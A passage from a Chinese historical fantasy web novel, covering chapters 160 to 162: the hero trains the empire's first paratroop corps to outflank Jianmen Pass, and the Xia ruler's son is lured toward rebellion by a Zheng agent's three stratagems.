这次没有出现意外,白色的伞张开后,他在空中飘的很缓慢,像一片巨大的羽毛一样左一下、右一下的缓缓落入了水中。 剩下的那两名囚犯眼见同伴真的安全落入了水中,也不禁从心底生出一丝希望来,闭着眼睛给自己打了打气后,两人前仆后继的闭紧双眼冲了出去。 都顺利的落入了水中。 站在岸边的凌晨全程目睹了整个过程,激动的握拳拍手! 太好了!成功了! 再多实验几次,把材料缺陷和容易出问题的地方找出来,反馈给望云镇办织造局,让妇女们实名上工,谁做的工件就绣上谁的名字。 这样一来,哪个老娘们要是敢偷工减料,立刻就能被他找到,到时候直接拉过来做跳伞实验员,如此一来,相信一定能保证质量问题。 虽然热气球里一次最多最多只能容纳四个人,再多就失去了稳定性和可靠性,但那也足够了! 质量不行,就用数量弥补,一百个热气球只能输送四百个士兵,这还不算可能出现的损耗。 可要是一千个呢? 四千精锐凭空出现在对手大后方,那画面,简直想都不敢想!!如果提前派细作扮作客商,在敌国境内囤积好粮草、隐藏好战马…… 啧啧啧~~ 城高墙深又能如何?山川险峻那又怎样? 孟玄是吧? 你记住,剑门关是我对你深深的思念~ 在当下这个世界,拥有空军,就是绝对的降维打击!! —— 当凌晨要申请把金明池中央的小岛征为军用时,张承和工部、御史台都不答应,因为凌晨不告诉他们为什么。 况且,由于地理位置好,风景也不错,所以这座京城中心的湖心岛早就被很多从全国各地来的权贵士绅们盯上了。 他们花了很多钱、走了很多关系才弄到地契,然后修建了金碧辉煌的娱乐消费扬所,再精心装饰一番,整出了一片繁华的高档商业区。 里面的收益,说是日进万金也不为过。 因为从那里收上来的税银,甚至多到让张承都需要凌晨给他一个理由,足以见得有多么恐怖了。 但那又如何?跟整个西川比起来,别说一个小小的CBD了,如果有必要,就是汴京城也未必不能迁移! 跟这帮鼠目寸光、只知道求田问舍的护食蠢蛋说不清楚,殿帅大人也懒得说,他们不配听。 凌晨直接去找文若,结果由于事关重大,一不小心就有可能得罪全国大半的顶级贵族,连太子殿下也有些拿不定主意。 虽然他决意排除万难帮凌晨争取,但需要时间去游说和劝说他们,让他们同意把那块贡献出来。还要和工部、开封府商议策划更多细节。 凌晨哪有功夫走流程? 于是,他直接找到了正在松竹楼当榜一大哥、彻底玩嗨了的文训。 望着楼下月台上翩翩起舞、在一片落花雨中宛若遗世仙子的姑娘,凌晨皱成地铁老人脸,呲着嘴磨了磨牙,有些嫌弃的看向身旁露出一脸猥琐笑容的老文,对方正直勾勾的盯着下方目不转睛。 这是被魂穿了还是夺舍了? 当初那个满脸严肃、心中无女人,拔刀自然神的江淮节度使哪去了? 那个君临天下、挥袖间群雄惧让、谈笑间灭国毁城的郑皇哪去了? “哎,你说台上这小女娃怎么样?” “好,沈棠姑娘才艺双绝,姿色更是倾城容貌,品性上佳,而且还是江南人,吴侬软语、最是勾魂摄魄~” 听到凌晨这么说,老文这才恋恋不舍的将目光收了回来,端起彩桌上的清茗品了一口,神神叨叨的说道: “既然你对她评价这么高,不如朕叫人暗中联系一下这家楼的东家,把她赎出来送到你府里如何? 要是你担心柠儿那孩子吃醋的话,朕在城里给你寻一处别苑,将她养在里面,对外就说是新建的内库分支,只许你一人进出,怎么样?” 怎么样? 那不变态么! 人家姑娘日子过得好好的,站在万人中央享受着瞩目荣光,万一有个金龟婿真心喜欢了,赎出去红袖添香、西窗剪烛不好么?你强行拉出去关起来,你当那是金丝鸟笼中雀啊? “哎呀陛下!不要再去扯那些有的没的了,我要那块地是真的有很重要的事情去做。” 老文呵呵一笑,抬手示意焦躁的凌晨先坐下来:“今天这是怎么了?朕记得你对购置房舍从来不感兴趣的~” 凌晨的手指不停的敲击着桌面,思索了一下后,朝着身后乔装打扮的何关和立在门口的两个御林金卫扬了一下脸,叫他们滚蛋。 等到门关上后,房间里只剩下了他和老文两个人。凌晨这才身子微微前倾,对老文目光灼灼的说道: “陛下,臣有个疑惑一直不解,想请教您一下。” “讲。” “您说……这剑门关,具体有多高呢?” 话音刚落,原本还一脸色相、望着楼下的沈棠姑娘傻笑连连、口水都快要流下来的老文,表情并没有变,但凌晨明显能感受他的情绪发生了变化。 文训保持着淡淡的笑意,缓缓转过头来看向凌晨,君臣二人静静对视着,皆是露出了不言而喻的笑意。 这一刻,像极了当初在汝南书房的那个夜晚,静坐闲谈之间,天下尽在掌握。 “墙高五丈七尺,隘谷五百步,最窄处五十步。城上置兵五千,在粮草充足、防料齐备的情况下,没有三万人日夜不停的攀登攻打,必不得过。” 凌晨听后点了点头,直起身子靠在椅背上,露出了一副神秘得意之色—— “若是臣有办法绕过此处,在关隘后方部署一支四千人马的劲旅呢?” 文训浑浊的双目中迸发出一道锐利的精光,喃喃道:“当真?” “臣什么时候在这种事情上开过玩笑?这还只是保守估计,如果陛下肯下血本,臣能悄无声息的将上万禁军送入蜀地,甚至是送进成都!让剑门关失去彻底失去作用。” 文训闭上了眼睛:“需要什么?只管说。” “训练需要半年的时间,扬地就要金明池中的湖心岛,如果真的要对孟玄动手,最少需要十万两白银。” 大郑立国初期的几次征战、治理水患、抚慰灾民都花了不少钱,再加上免除两年的征粮,如今国库里只剩下六百万两。 十万两,确实不少。 这还是只凌晨练兵的价格,把金明池湖心岛的那帮人移走,肯定要给补偿,还要重新划地给他们建设新铺,算下来怕是得五十万两打底…… “一定要金明池的那座岛吗?” “也不一定,城北黄河边也可以,但一切都需要重新建设,包括营房、寨墙、还有寻常的物资补充等等等等。 此为长久之计,并非一时暂需。而且等这些都修缮完备,估计也要数月乃至半年时间。算下来,也就十几万两,但时间肯定会往后推迟。” 老文一手枕着桌面,另一只手缓缓抚须。凌晨给了他两个选择:要么省钱但费时,要么费钱但迅速。 但无论怎么样,文训都没有怀疑过这件事的可行性和必要性。凌晨出品,必属精品,既然他说行,那就一定行。 他推荐的产品根本不需要评估考察样本,只需要考虑报价就行了。 沉默着思考了一会后,文训睁开了眼睛,一字一句的说道:“你把具体事项和详细章程都呈上来,朕现在就回宫叫工部划址开工。明年这个时候,朕要孟玄亲自站在朕的面前请降!” 令他意外的是,他说完后,凌晨并没有急着点头,而是眼珠子转了转,磨了一会才开口:“这个事……可能要劳烦陛下亲自操持。” 那就是不得了的产品了。 文训坐直身子,缓缓点了点头。 —— 尽管郑皇陛下已经穷极想象,但当他亲眼见到活人从十六七丈高的地方纵身跃下,还能平稳落地,只有两个不小心崴到脚后,还是被震惊的目瞪口呆。 海军陆战队,不是海军;第二炮兵部队,不是炮兵。他们都是和陆军、空军、海军并列的独立军种。 望云护庄队对于大郑来说,也一样。 这是一支和步军、马军、水军完全不同的全新军种。并且整个天下,只此一家。 郑皇陛下重新上朝议政,向群臣宣布建立一支全新的军队,命名为“望云军”,由朝廷拨款组建和维持运营,但并不划归兵部序列,而由殿前司直属,只有皇帝一人才有调动权。 另外,将从五品闲散武官刘廷让,连跳四级,直接擢升为望云军都指挥使,只对皇帝一人负责,地位直逼统领御林军的何关。 这支神秘的军队,比它的创始人临颍侯还要朦胧似雾。除了陛下和殿帅,没有人知道它的庐山真面目,就连太子和右相都不知道一丁点消息。 很多人都想从蛛丝马迹中得到一点线索,但当他们费尽心机探查一番后,更懵了。 京城北部黄河边那座拔地而起的青石城寨,除了防护严密之外,与其他普通军营基本没有什么区别,供应的物资也普普通通,甚至还不如京西和京南的马军兵营。 唯一有些不同寻常的就是,他们需要很多布和绳子。 水边,布,绳子,emm…… 跟水军也沾不上边。 更奇怪的是,望云军也招人,只不过招人的途径很奇葩:必须去临颍侯创办的那家静宁书院读书,只有通过各项考核、没有挂科的人,才有资格加入望云军。 活见鬼了! 尽管基本没有得到什么有用的信息,但大郑的朝臣官员和散落在汴京城的蜀唐探子们都明白,皇帝不会心血来潮花这么多钱瞎折腾。 能让许久不上班的老董事长亲自召开会议,足以说明这支军队的重要性,一旦动用,必定会是一扬惊天动地的亮相! “快快快,检查好自己的伞绳,不要跳出去后才发现打了结,那时候可没人能救你!” “跟你说了多少遍了?左右拉绳尝试着控制方向,不要闭眼!你娘的,前面是悬崖峭壁你也闭着眼往上撞吗?!” “备用伞也要仔仔细细的检查好!主伞有问题了,那就是你的救命稻草!你最好祈祷用不上!” 宽大广阔的校扬上,用青石和秆泥糯米浆混合,修建出十座六十米高的、类似烽火台的高台,上面延伸出去七八米高台,底下就是奔腾怒吼的滔滔黄河。 无数伞兵从空中跃下,整片天空都是巨大的羽毛在飘,飘进水里的自己去写检讨、蹲小黑屋。能拐着弯飘回到岸边软泥地上的,下班回营房去吃冰镇寒瓜,当然也可以捧着瓜出来看别人受罚。 刘廷让光着膀子,露出一身壮硕的肌肉,满头大汗的不停大喊,在十座高台上连接起来的木桥上来回巡视检查和指导新兵蛋子。 种一万朵莲花,在众生中发芽。 望云军在流血流汗的拼命练习,望云织造局的妇女们也把青柠纺织机往冒烟了摇。朝廷的粮草、军械、战马和物资都在不停的往汉中、南阳等地输送。 种平和赵成义手下的北路军同样在日夜磨刀,探子们爬山涉水翻越密林,寻找不为人知的曲径小道;细作们在蜀地官员的家中、平民百姓的地头唾沫横飞、打听消息、魅惑人心。 邵之祁的东路军正在练习水中游泳和船只阵型,人和马都在适应晕船反应;船坞里的工匠们也在昼夜不停的切割木材、打造铁钉,各种大小、用途不一的战船接二连三的下水,交付给水军。 坐镇庐州的王臣鹤,更是身兼多任,既要打造训练筹备蓬莱水师,还要操练马步骑兵,以及探查预测唐国军队动向和朝堂局势演变。 牵一发而动全身,一旦大郑对西川用兵,唐国绝对不会坐视不理,任由大郑平定蜀地。 到时候,肯定又是烽烟百里。 驻守真定府的李继贤和云中府的申屠明光同样也是军务繁忙,夏天夏天悄悄过去留下小秘密,秋天一到,正在混战的草原诸部很有可能放下仇恨一起南下贴秋膘,这是由气候和物产引发的生存问题,不可能因为个人意志而改变。 要早做准备了。 没有比现在更好的机会了,原本铁板一块的蜀国内部出现了政治分歧,孟玄的雄图霸业和巴蜀贵族们的经济利益产生了不可调和的矛盾冲突,他们需要和外部加强联系,互通有无。 汉中地区的归顺,意味着伐蜀不再只是停留在理论层面的设想。 大郑各地、各部厉兵秣马、枕戈待旦,谋臣于夜灯前披衣落墨,武将于营盘中汗如雨下,驿卒奔波在官道上,探马跋涉在林野间。 过去的三十年、乃至一百年里,大家都太辛苦了。如今好不容易有机会彻底结束乱世,让所有人都能吃饱饭、穿暖衣,当然是要竭尽全力去完成属于我们的历史使命! 一统天下,指日可待! 第161章 李遗景的烦恼 或者说,不甘心的人。 想当年,北抵草原,西至祁连,东临黄河,南望长安,大夏国是何等的幅员辽阔、兵强马壮! 无论你是草原人、汉人,还是西域人、吐蕃人,统统都要在党项骑兵的寒芒刀锋下跪着唱征服。 最强盛的时期,高车、鬼方、敕勒年年都得派使者前来进贡;西域的那些老国王也要把如花似玉的宝贝女儿送来任由夏皇挑选。吐蕃各部那就更不用说了,滑跪的稍微慢上一点,党项骑兵就到海石湾了。 即使强如大周朝,那也得客客气气跟我说话!! 唉…… 但是这话又说回来了,这个文训究竟是从哪个犄角旮旯里冒出来的?怎么这么猛?! 帝临长安,督军西征,真难受呀…… 现在连祖坟都要委托人家管理和清扫,清明节想要祭拜一下吧,还得打报告,等人家同意放行。 去跟祖宗诉诉苦、说几句心里话吧,估计祖宗还没听到呢,文训就先知道内容了。 给大儿子寄两只滩羊吧,估计儿子连羊毛都没见到,文训就已经摸着肚皮打嗝了。 不行,不能再这么虚度光阴、长吁短叹下去了。 必须得给他整个活! 李遗景原本以为人生就这样了,结果偶然间得知:长安府尹种平,亲自率领六万关中人马翻过茫茫秦岭,南下汉中去找孟玄喝茶了。 于是,他那颗平静的心,再次泛起浪潮。 眼下,大郑朝那些横扫天下的精兵猛将和虎狼之师,基本都布置在南方沿线,只有李继贤还在北方,但也是驻扎在河北真定,离自己十万八千里。 申屠明光就更不用说了,那群草原狼虽然在狗咬狗,但余光时时刻刻盯着他呢,他敢动? 陇右,宛如一位含情脉脉的美人,朱唇微张、气吐幽兰,正在不断的朝着自己暗送秋波。 冲不冲呢…… 不趁着这个机会努力一把,等到大郑平定南方,可就再也没有机会了。 可如果搞背刺的话,惹怒了文训那个糟老头子,后果怕是有点承受不住哇…… 坐在一片幽林中,看着乱风吹落潇潇竹叶,听着侍女吹奏悠扬洞箫,李遗景捏着酒杯,不停的灌酒,喝完后叹气,叹完气继续灌酒。 如果能够攻占陇右,居高临下的向关中平原发起冲击,速度快并且进展顺利的话,汴京还没有反应过来,他就已经在长安城里听秦腔了。 尤其是现在关中防务空虚,丈夫不在家,包得吃的好吧~ 但是在此之前,李遗景还有一个顾虑,正是这个讨厌的家伙,才让他有些信心不足,害怕偷鸡不成反而蚀把米,不敢去放手一搏。 他的本家,已经从渭州校尉升任为关西经略的陇右府步军都尉——李孝通。 大郑第一钉子户,也有可能是天下第一钉子户。 自打李遗景接手家族企业以来,一直想将公司的业务范围扩展到关中去。在和韩珏相爱相杀的那些年里,他也确实展现出了自己在军事领域的才能,虽然没能成功让韩珏喊爸爸,但也是一直压着他打的。 关陇籍贯的高级将领,李遗景基本都交过手,了解他们的底细。揍过他们,也在他们手底下吃过亏。 但是说句实在话,大家都是为了各自的公司利益和发展前途,这没什么可说的。 战扬上的敌对关系,并不妨碍大家私下里互相欣赏和钦佩对方,西北汉子大都性情豪爽,是完全可以立扬清晰的和生死仇敌把酒祝东风的。 唯独这个该死的李孝通!让李遗景发自内心的厌恶,他从来没有这么讨厌过一个人,连韩珏都不及此人的万分之一! 李孝通从来没有主动带兵跟自己正面来上一扬真男人之间的对决,就跟个乌龟一样死守在那座该死的渭州城!任你使遍千般力气,就是不出来! 山不向我走来,我便向他走去。 自己前前后后加起来,一共对渭州城发起过上百次进攻,可是无论自己带的人多还是人少,准备的充分还是仓促,都没有用! 竟然全部被他给堵回来了!阻断率100%! 这是何等的卧槽!! 还不能无视这小子绕过他南下。渭州城地处六盘山下,泾河川孕育出陇右粮仓,是整个西北地区、尤其是夏国方向的重要战略枢纽,号称“西出长安第一城”,就军事意义而言,还真不是虚夸。 拿不下这里,党项骑兵就只有带足此次出征的全部干粮了,别想着后面能有补给,李孝通是绝对不会让自己跟小弟们吃上哪怕一口热饭的。 更无语的是,李孝通对钱和女人根本不感兴趣。这家伙以前是个孤儿,在崆峒山的道观里长大,性情古怪难以捉摸。唯一的爱好就是空闲之余研究怎么当神仙,要不就是捣鼓他的破丹炉,连收买都收买不了。 你告诉我怎么收买?难不成我也投其所好灰头土脸的炼丹去?让他产生惺惺相惜感? 自己这些年把他父母、先祖、表姑、二姨等等等等一切能想到的亲戚都骂了个遍,结果他每次都跟忘记开麦一样微笑着望向自己,对自己使用冷暴力。到最后,对方一点事都没有,自己却被气的脑袋疼。 最近听说这小子还升官了,手里能管得兵马已经超过了一万。以前他只有几千人的时候,自己领着三万人都搞不定,现在…… 举杯消愁愁更愁啊~ 从下午喝到黄昏,李遗景还是没有想好要不要梭哈。残阳落,天欲晚,灵州城的家家户户屋顶飘起了炊烟。 正在这时,侍卫来报,二儿子文锦来了。 微风吹动竹林,一阵簌簌作响,沿着碎石小径走过来一个意气风发的年轻人,来到李遗景面前后,规规矩矩的行礼:“孩儿见过父王。” 自从被文训打的去掉国号后,李遗景就不敢以皇帝自称了,但底下的人又不能真拿他当定难军节度使喊。 可是私下里喊皇帝,被文训知道了少不得又是一阵狂喷,惹急了动手都是有可能的。 于是原来的夏国臣民们想了个折中的办法,在朔方府的地盘上,如果没有外人在扬,就喊李遗景“夏王”。这样,即使被文训的耳目知道了,也没关系。 天无二日,只要不称皇帝就不会惹的文训较真。再说了,喊夏王也是为了以后能为大郑作出贡献、表达想要受封为王的美好志向嘛~ 大家都意思意思,我给你面子,你也给我面子,就行了。 “嗝~” 头发和胡须微微有些潦草的李遗景两个脸颊泛起酒红,喝酒喝的口干舌燥,于是便伸出双手搓了搓刀削般的面部,坐起身来端起凉茶一口干光,这才好奇的问道:“今天怎么来的这样晚?” 李文锦笑的风度翩翩,单手背负在身后,另一只手盘在腰前:“孩儿恭喜父王。” “何喜之有啊?” “孩儿听说种平率领关中劲卒南下汉中了,似乎要对孟蜀动武,如何不算喜事?” 李遗景醉眼朦胧的看着自己的傻儿子,有些无语:“这个为父自然清楚,可这跟我们有什么关系?” 李文锦似乎成竹在胸,开始有模有样的向李遗景分析起来: “父王,如今关中空虚,种平南征一时半会也赶不回来,正是父王举兵讨贼的天赐良机!孩儿愚以为,可兵分三路。 东路出夏州,夺回我祖地先祠;西路出陇西、攻取秦州,则整个河西为我所有。中路下渭州,直抵长安! 等到郑军反应过来集结完毕,我们已经收取了整个关陇。到时候只需要依托潼关天险和秦岭山脉节节抗击,再传书西川孟玄、江东李雄、辽东应开疆,四路共进,围猎中原,共分天下!” 李遗景一脸懵逼的看着滔滔不绝的儿子,忍不住又打了个酒嗝。 明明喝酒的自己,怎么感觉醉的是他呢? “说得很好,那么……吾儿以为,该由谁来统领中路军,攻打渭州南下长安呢?” 李文锦自认为很帅的歪嘴一笑,有些讨好的伸手为李遗景拉了拉还在肩膀上的薄外衫,笑着说道: “孩儿近日新得了一位幕僚,其人才能卓绝、见识广阔,言谈之间更是妙计百出,不知父王可有兴趣一见?” 嗯? “见,如此大才,岂能不见,快传~” 我倒要看看,是哪个驴日的忽悠我这傻儿子。 不一会,李文锦就带进来一个跟他一样年轻、看起来只有二十多岁的毛头小子。你别说,还真有点高人风范,见了自己也挺着胸膛昂起脖子,牛叉的很! 李遗景也不恼,只是双手撑着竹榻,好奇的问道:“先前听文锦说,先生对于攻下渭州有些见地,不知具体该如何做,老夫愿闻其详。” 这位政治投机分子依旧一副高深莫测的模样,勉强对着李遗景拱了拱手,又将双手背向身后,抬起头望向渐渐昏暗的天空。 “启禀夏王,小道早年曾在崆峒山修过几年道行,前几日行走在路间,偶遇一跛脚老人倒地不起。小道便上前将他扶起,并将坐下宝驹赠与他充当脚力。 谁知那老人竟说自己是老君临凡,只因我心诚缘善,合该与我一段功名,便赐我无字天书三页,教我保真主,定天下。 小道正低头查看天书,忽觉面前一阵恍惚,再抬头时,那跛脚老人已经化做一道青烟袅袅腾去,只有一道空灵之音,隐约听到‘龙出贺兰,腾跃九江’。 小道思来想去,这龙出贺兰,不正是说夏王么?九江之意尚有不解,许是九道天下名流,许是江东九江,亦未可知。” “嗝——” 李遗景打了个长长的嗝,抬手对着脸色有些不自然的假道士说道:“你继续。” “再说回这渭州城,小道已经参悟了那三张无字天书,第一张便是撒豆成兵、结草为马、枯枝做刀之术。 只要小道在渭州城下摆起香坛法案,顷刻间便能凭空变出十万大军,不惧刀剑、不避斧钺,只怕火攻。 此事也易,只需挑雨天作法便自行解矣~区区渭州,根本不在话下。纵使兵至潼关,亦能决阵沙扬,而不损耗一粒米粟。” 李遗景听的面色激动,站起身来走到这名年轻幕僚面前,鼻子都快贴到对方的鼻子了,让对方忍不住开始后退。 “你是说,你要用作法来打败李孝通?” “是……是。” “你是说,只要豆子管够,你就能不断变出无数不畏生死的兵马军卒?” “是的。” 盯着这个不知天高地厚,竟然敢吹到自己面前的江湖骗子,李遗景成功被气笑了: “你知不知道,李孝通是什么人?” “略有耳闻,听说他是个贰臣,先从韩珏,又随郑皇……” “老夫说的不是这个,你知不知道,他前半辈子都在崆峒山里,天天都在念那些破经书,睡觉都要摇牛鼻子们用的破铃铛?” “这……” “看你这般年纪,应该是比他后入吧?你没有听说过他的名号?他应该最少也是你的叔伯辈,你先前说自己在崆峒山待了几年,不知道有这号人?” “这……小……小道……” 这位胆大包天的政治投机分子额头上已经冒出了细密的汗珠,他特么哪想到会这么巧啊! “孝通师叔……与家师不合,所以一直未曾告知,小道也是要离观时才知道有这么一位长辈,所以对他知之甚少……” 李遗景呼出的酒气非常浓烈,甚至有些刺脸,让这位追梦青年不断的后退。 “他的道号叫无为子,不是他的名字,你个假道士!!” 李遗景朝着这名年轻幕僚狂吼一声,常年上位的恐怖威压彻底压垮了这小子的心理防线,让他脸色煞白的摔倒在了地上。 “嘿嘿嘿…” 李遗景满意的笑了:“你先前说什么来着?你遇到个跛脚老汉?老君下凡是吧?化成青烟飞去是吧?你也不用熬到他那么老,老夫这就帮你羽化成仙,来人呐!” 李遗景醉汹汹的叉腰仰天鬼叫一声,立刻就有四个侍卫挎着刀从竹林后面冲了出来。 “把这位道爷拖下去烤了!老夫倒要看看,他能不能金光护体、立地飞升!” “是!!” “不要啊夏王!夏王!小道错了!小道啊不,小人再也不敢了!!” “晚了~” 将这个精神病院大门没关住跑出来的二货送去见老君后,脸上已经没有一丝醉酒神态的李遗景,皱着眉看向手足无措、再也没有了刚才那种淡定从容的傻儿子,怒其不争的骂道: “你看看你,哪有一点人主的样子!一个江湖骗子都能把你耍的团团转,你还舔着脸把他举荐给老夫!作什么?想让我任用他为中路军主帅,去给李孝通添战功吗?! 你哪一点能比得上你大哥?!啊?你看看你那副尖嘴猴腮的样儿!老夫真后悔!当初就该把你扮作你大哥送去汴京!老夫百年后,这大好基业,交给你怕是两年不到就会败光!” 李文锦低着头,忍受着来自老父亲的咆哮,被喷了一脸的唾沫却不敢发出一丝反驳之声,心中又气又恼。 那人给自己凭空变化了一招白纸显字和平地捉鬼,是自己亲眼看到的,绝对做不得假啊…… 兴冲冲的跑来邀功献策,最后却闹成了这个样子,不但没有得到父亲的赏识和夸赞,反而被喷的体无完肤,李文锦别提有多郁闷了。 而且父亲还处处拿自己跟大哥做比较,张口“你大哥”、闭口“你大哥”的,你要真有那能耐,你打进汴京把他救回来啊倒是…… 越想越气。 黄昏去卖的乖,天黑才逃出来,李文锦心里那叫一个气,怒气冲冲的骑马走在回府的路上。 就在这时,前方突然出现了一个青衫文士,手握一把折扇,笑容可掬的对着他弯腰行礼。 李文锦喊住想要上去赶走此人的护卫们,今天心情不好,正好找个人发泄一下,择日不如撞日,相逢不如偶遇,就他了。 “给你三句话的机会,三句话不能让我产生兴趣,死。” “请二公子上前一些,有些话,不方便有旁人听。” 李文锦双腿稍微用力夹了夹马肚子,往前走了点,比护卫们靠前两三步,淡淡的说道:“这是第一句。” 青衫文士丝毫不慌,缓缓开口,用只有他们两人才能隐约听见的声音说道: “在下来自汴京。” 李文锦眉头一皱,下意识的就要喊护卫过来把眼前这人剁成臊子,但话刚要说出口时,他又硬生生的忍住了。 “这里说话不太方便,还请先生移步舍下,我们静室详谈。” 李文锦只是被魔术和生活小妙招骗了,政治头脑还是有点的。汴京来人,光明正大的找上他,自然是有事要商量。 至于是什么事,完全可以听一听。 听完后,再决定是把他奉为上宾,还是剁碎喂狗,反正决定权在自己手里。 第162章 逐梦渭州城 明月出天山,苍茫云海间。 长风几万里,吹度玉门关。 二楼阁台上十分安静,下人们都闭口不言。李文锦和这名青衫居士对桌而坐,侍女端来热茶和温酒,将酒盅放好,款款添杯,一股女子体香混杂着酒香飘进鼻孔中,令人心旷神怡。 没有一丝膻味的羊肋排、黄奶酪和几味开胃小菜摆上红漆案桌,桃红色的牛肉片泛着油光。被骂到连晚饭都没吃的李文锦也感到有些饿了,抬手说了句“请”后,便直接抓起一块羊排,咬住上面的烂肉撕了起来。 青衫居士见他这么不拘小节,便也把手中的折扇一合,放在一边,徒手抓起一片牛肉塞进了嘴里,品尝着难得一见的美味。 大郑不许杀牛,平常是很难吃到的。 “你叫什么名字?来灵州寻我做什么?”挥手将左右屏退后,李文锦直接开门见山的问了起来。 青衫居士倒也没急着回答,而是反复咀嚼着吞咽掉口中的牛肉后,才缓缓拱着手说道: “在下姓胡,名文庆,是汴京礼部一小吏。今日不请自来、冒昧打搅,承蒙不杀之恩,还以酒食相待,实在是不胜荣幸感激。” 李文锦嗦了一口羊排骨后,冷笑道:“你现在感激还为时尚早,若是说不出个所以然来,明天晚上我手里的肋排,可就是你了。” 胡文庆听后却没有露出一丝慌张,而是泰然自若的拾起筷子,捞了两口凉拌苜蓿后才回答道:“我此来灵州,只为一事。” 说到这里,他顿了顿,目光灼灼的盯着李文锦的眼睛,压低声音问道:“不知二公子……可有帝王之志?” 李文锦正在嚼肉的嘴瞬间就停住了,目光不善的看着眼前的胡文庆,锐利如刀—— “想让我们父子相残,朔方自乱,你们好安心对付南边?” 胡文庆笑着摇了摇头,依旧不急不缓:“二公子果然聪慧过人。从汴京出发时,上官交给在下的任务确实如此,但在下却有不同的想法。” 李文锦将嗦干净的肋排往桌上一丢,端起酒盅一饮而尽,面无表情的看着对方说道:“说下去。” “想当年,隋文帝杨坚一统四海,到炀帝时群雄并起,也不过十余年光阴。李唐两代真龙,自晋阳南下长安,东征西讨,终于平定天下,创三百年基业。 如今大郑虽平定一时,可形势与隋朝何其相似?皆是结束乱世而立国,踏血铸就成王路,外表强大,内里孱弱。河北人心不服,关中、关东同样有着自己的想法,对汴京的旨意阳奉阴违。 纵使兵威盛于一时,堪定蜀、唐,可当这些鹰犬虎狼们老去残年后,又有谁来镇压两地人心呢? 在下以为,不出二十年,郑必复有隋之祸矣!到那时,谁能像唐王室父子那般坐拥关陇,再造乾坤呢?” 李文锦听的入了迷。 只有低级的骗子才会用谎话去编故事,高级的骗子,嘴里说出来的都是真话。 胡文庆说的这些情况,还真没有一句是假的。 而且他明显属于那种顶级骗子,在来pua李文锦之前,他先把自己骗了,真朝着这个目标干。他说的学习唐朝先进经验,完成新一代雄图霸业,可能性是真实存在的。 大隋结束了纷乱的南北朝,高颎?、贺若弼、杨素、长孙晟?、韩擒虎、虞庆则,哪一个不是谋深似海的执棋之手?哪一个不是威震天下的旷世人屠? 看着我的眼睛告诉我,你敢跟史万岁对线吗?嗯? 哪怕是后来的大唐战神李靖,也只是千百名想要拜见杨素的普通庄客之一。 开皇年间,“大隋”这两个字就代表着绝对无敌。 “四方胡虏,凡有敢犯者,必亡其国、灭其种、绝其苗裔。” 所有人都以为这波稳了,可是谁也没想到,仅仅只是过去了区区十五年,就出现了十八路反王、三十六路烟尘。 如今的大郑,与隋朝何其相似,也是刚刚结束了百年乱世,也是拥有一群令人心生绝望,根本不想、也不敢去挑战的谋臣武将。 杜宣、韩登、冯延、魏序、李继贤、王臣鹤、薛定,种平,随便单拎出来一个,都是足以毁天灭地的人物。 更不要说还有能让这群变态甘愿俯首跪拜的文训、文若父子,他们本身就是文能上马安天下、武能下马定乾坤的全能型复合战士。 可谁又敢斩钉截铁的断言:大郑不会走上大隋的老路呢? 二十年后,自己也才四十多岁,正是年富力强、勇于进取的时候,朔方又紧挨着关陇…… 答案已经摆在了眼前,甚至还有解题步骤,照着抄都不会吗? 李文锦收起轻慢之心,坐直身子,郑重的朝着胡文庆行礼道:“先生所言,如拨云见月、令文锦茅塞顿开!请受在下一拜~” “哎哎哎,二公子折煞在下了!” 胡文庆连忙站了起来,身体前倾扶住李文锦,二人客套一番后,重新坐了下来。 “只是……”李文锦眉头一皱,想到今天傍晚发生的事,又不禁叹了口气,自斟自饮下一盅烈酒。 “如今掌权的是我父王,境内世家、臣将皆是大哥旧曲,我虽空有大志,却奈何手中无权。纵使日后风云际会,怕也无力龙腾九霄啊…… 不瞒你说,今晚你我相遇之前的几个时辰,我正在劝说父王趁着长安空虚,对关陇用兵,奈何他犹豫不决、担心会惹来自文训的怒火,唉!” 胡文庆听后也是面露凝重之色,这是个问题。 “此事倒也无妨,二公子不必因为一时困阻就妄自菲薄,心生懈怠。想当年先唐太宗皇帝劝说高祖于晋阳起兵时,不是也费了一番周折么? 如今郑军精锐都在南方,一时之间恐怕也很难同时吞并蜀唐,就算拿下,也是需要个把年月来消化的,不会轻易撤离。 若是能乘此天赐良机,传书草原、辽东,共约三路一齐南下,再加上蜀唐两国,五路伐郑,何愁大事不成?又何须等到十几年后?” “你也是这么想的?!” 李文锦听完胡文庆的言论后,顿觉遇到了人生知己!这话他今天才跟父王说过,没想到这个素未谋面的人竟然与自己不谋而合! 而且他还比自己多想了一路。 对啊,那群草原人砍起人来也挺疯的,在草原上互相厮杀,争破头也就得到些放羊的草地,一起去大郑抢钱抢女人不好么?只要自己动之以情晓之以理,相信他们能够明白其中的舍与得。 李文锦目光灼灼的望着眼前一脸淡泊的胡文庆,越看越觉得他像自己的留侯、武侯。 “可惜你我洞悉天下棋局,却无落子的机会啊!等我掌权,怕是要很多年后了,父王没有此心,我……” 胡文庆单手握着酒盅放在自己嘴边,却并没有喝,而是睫毛微动,抬起眸子看向一脸懊恼之色的李文锦。 “此事……亦不难,在下有上中下三策,可供二公子选择。不过先说好,在下只负责出谋划策,如何取舍,还要二公子自己决断。” 李文锦将两个小臂规规矩矩的摆在桌子上,身体前倾有些急不可耐的问道:“先生有何良策,快快说与我听。你放心,你我一见如故,无论你说什么,皆言之无罪。” 胡文庆点了点头,一口将酒喝下,沉声说道—— “昔年秦王临机决断,用玄武门一场兵戈、长安城血流成河,方才铸就了贞观盛世。事后尊父为太上皇,并不失却孝名。 如今二公子的处境与他何其相似?不妨领心腹兵将控制夏王,尊为上主,大权尽揽乾坤独断!此为上策。 若是二公子不忍父子之间生隙,有心全了孝顺之名,又想不想错过这个千载难逢的良机……不如暂且拿了兵符,秘而不宣,自领一军南下。 据在下所知,这些年来夏王不断尝试进攻关中,心中必然有此意向,所虑者无非渭州李孝通尔。若是二公子能够拿下渭州城,夏王不仅不会怪罪,反而会刮目相看!甚至可能会亲领兵马来与您会合,父子齐心共下长安!此,为中策。 再有就是,不急不缓,积蓄实力,收拢河西、草原各地流民,开荒造田、分畜放牧。等待日后夏王龙御归天,公子名正言顺的掌权后,等待机会。 一旦时机成熟,中原自乱,便果断将宝剑抽出剑鞘,趁势南下,仿旧唐之业、创万世之兴!!此,为下策。如何抉择,二公子可缓缓思量,不必急于一时。” 胡文庆说完后,李文锦彻底愣住了。 对方的上中下三策,完全就是出于自己的立场仔细考虑,量身打造的三条路,坦率真诚,只为自己着想。 事实上也确实如此。 无论李文锦选择哪一条路,对大郑来说都只有百利而无一害。 